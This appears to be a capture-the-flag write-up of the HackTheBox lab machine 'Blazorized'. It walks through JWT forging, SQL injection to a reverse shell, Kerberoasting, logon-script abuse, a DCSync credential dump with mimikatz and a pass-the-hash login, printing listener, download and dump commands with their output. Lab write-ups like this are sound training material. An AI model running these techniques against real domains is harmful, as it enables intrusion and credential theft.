Blazorized is a Hard-difficulty windows HackTheBox machine dealing initially with subdomain enumeration and DLL decompiling to be able to forge our own JWT token and get into the admin panel where we’ll be abusing an sql injection over MSSQL and get a shell. Later performing a mix of different attacks to acquire different users: from Kerberoasting to script path setting and abuse to DCSync and getting system. It was a really fun box.
PS C:\Users\0xkujen> nmap -A-Pn10.129.23.80 Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-1021:55 W. Central Africa Standard Time Nmap scan report for10.129.23.80 Host is up (0.30s latency). Not shown: 986 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to http://blazorized.htb |_http-server-header: Microsoft-IIS/10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-1021:01:09Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2022 |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-11-10T20:59:17 |_Not valid after: 2054-11-10T20:59:17 |_ssl-date: 2024-11-10T21:01:59+00:00; +5m00s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in93.48 seconds PS C:\Users\0xkujen>
We can see that we have a web application running on port 80 that’s redirecting us to blazorized.htb, let’s add that entry to our /etc/hosts file and check what we have ;)
Subdomain Enumeration
We perform some subdomain enumeration on the main domain and we find something interesting:
This site is a personal Digital Garden, and the “Built with Blazor WebAssembly” is really interesting as it will come in handy later. (I found an XSS vulnerability under the http://blazorized.htb/markdown endpoint but turned out to be a rabbit hole :’( )
Checking Caido while inspecting our application shows us that there are a lot of DLLs being loaded into the app: Web Application
But navigation to the /check-updates endpoint, we see a new DLL being loaded. This shows that the app implements Lazy Loading and providing resources as the user needs them not loading everything all at once (this is what I understood from the docs of the frmaework): However, navigating to this endpoint we get However, you can use the button below to impersonate (temporarily, and securely) the admin and fetch all post and category updates. So I just thought this /_framework/Blazorized.Helpers.dll DLL would be interesting, so let’s download it and open it with Dotpeek : Helpers DLL Inspection
We can see that one of the Helpers detailed is the implementation of the JWT policy for the application, where we have the Security Key and mention about the admin dashboard we found out later. I think it’s about time we go ahead and explore it ;)
It looks like a simple admin dashboard with a login feature, but I could not find a cookie anywhere to exploit the JWT settings we got earlier. But an idea I just got, since we know that the app is implementing lazy loading, I’ll check other endpoints from the main domain and see if I get something interesting. And we do get a response from the API with a model for the JWT token:
Admin Dashboard
Admin Dashboard
We can see that the roles we have withing that cookie are only “Posts_Get_All” and “Categories_Get_All”. But checking from the DLL we decompiled, we can see that we have a superAdminRoleClaimValue = "Super_Admin" role and that the used algorithm is “HS512” So we should update our cookie with that role, update the audience to “http://admin.blazorized.htb “. Let’s see: Admin Dashboard
And test it out on our admin dashboard: Admin Dashboard And we are in!
PS C:\Users\0xkujen> nc -lvnp4444 listening on [any] 4444 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.23.80] 63124 Windows PowerShell running as user DC1$ on DC1 Copyright (C) 2015 Microsoft Corporation. All rights reserved.
We can see from the Bloodhound analysis that the “nu_1055” user has WriteSPN over RSA_4810: BloodHound
“Kerberoasting” is an attack where an authenticated user makes a request to a ticket for a service by it’s SPN (Service Principal Name), then the ticket that comes back is encrypted with the password of the user associated with that service, and that’s when we crack it ;)
The first step is to assign an SPN to the RSA_4810 user, and then request a TGS for it. We’ll do this using PowerView:
I can use it to connect to the user using Evil-Winrm:
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~/Hackthebox/blazorized] └─$ evil-winrm -i blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\RSA_4810\Documents> whoami blazorized\rsa_4810 *Evil-WinRM* PS C:\Users\RSA_4810\Documents>
Pivoting to SSA_6010 - Script Execution
When I first solved the machine, the ssa_6010 user had a “scriptpath” variable already set which I changed to a reverse shell script and got a shell for him. We can now check if we can set the scriptpath for him:
Something that was weird to me is that bat script files you put in any directory different than C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\ will not work. But turns out the service will check the scripts folder and appent the scriptpath variable to it. Checking that directory I find that “A32FF3AEAA23” folder is writeable. So let’s use it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
*Evil-WinRM* PS C:\Windows\SYSVOL\domain\scripts> icacls A32FF3AEAA23 A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F) BLAZORIZED\Administrator:(OI)(CI)(F) BUILTIN\Administrators:(I)(F) CREATOR OWNER:(I)(OI)(CI)(IO)(F) NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Server Operators:(I)(OI)(CI)(RX)
User Name SID =================== ============================================= blazorized\ssa_6010 S-1-5-21-2039403211-964143010-2924010611-1124
GROUP INFORMATION -----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554Group used for deny only NT AUTHORITY\INTERACTIVE Well-knowngroup S-1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-knowngroup S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-knowngroup S-1-2-0 Mandatory group, Enabled by default, Enabled group BLAZORIZED\Super_Support_Administrators Group S-1-5-21-2039403211-964143010-2924010611-1123 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-knowngroup S-1-18-1 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Checking our BloodHound results, we can see that we can perform DCSync: DCSync
PS C:\users\ssa_6010\documents> iwr10.10.x.x/BetterSafetyKatz.exe -outfile s.exe [+] Stolen from @harmj0y, @TheRealWover, @cobbr_io and @gentilkiwi, repurposed by @Flangvik and @Mrtn9 [+] Randomizing strings in memory
[+] Slowly mapping ADVAPI32.dll
[+] Slowly mapping Cabinet.dll
[+] Slowly mapping CRYPT32.dll
[+] Slowly mapping cryptdll.dll
[+] Slowly mapping DNSAPI.dll
[+] Slowly mapping FLTLIB.DLL
[+] Slowly mapping MPR.dll
[+] Slowly mapping NETAPI32.dll
[+] Slowly mapping ODBC32.dll
[+] Slowly mapping ole32.dll
[+] Slowly mapping OLEAUT32.dll
[+] Slowly mapping RPCRT4.dll
[+] Slowly mapping SHLWAPI.dll
[+] Slowly mapping SAMLIB.dll
[+] Slowly mapping Secur32.dll
[+] Slowly mapping SHELL32.dll
[+] Slowly mapping USER32.dll
[+] Slowly mapping USERENV.dll
[+] Slowly mapping VERSION.dll
[+] Slowly mapping HID.DLL
[+] Slowly mapping SETUPAPI.dll
[+] Slowly mapping WinSCard.dll
[+] Slowly mapping WINSTA.dll
[+] Slowly mapping WLDAP32.dll
[+] Slowly mapping advapi32.dll
[+] Slowly mapping msasn1.dll
[+] Slowly mapping ntdll.dll
[+] Slowly mapping netapi32.dll
[+] Slowly mapping KERNEL32.dll [+] Suicide burn before CreateThread!
.#####. mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( [email protected] ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:blazorized\Administrator [DC] 'blazorized.htb' will be the domain [DC] 'DC1.blazorized.htb' will be the DC server [DC] 'blazorized\Administrator' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD ) Account expiration : Password last change : 2/25/202411:54:43 AM Object Security ID : S-1-5-21-2039403211-964143010-2924010611-500 Object Relative ID : 500
┌──(kali㉿kali)-[~] └─$ evil-winrm -i blazorized.htb -u administrator -H f55ed1465179ba374ec1cad05b34a5f3 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../desktop/root.txt 8d9bf98c709ea4****************** *Evil-WinRM* PS C:\Users\Administrator\Documents>
That was it for this box, hope you enjoyed it! -0xkujen
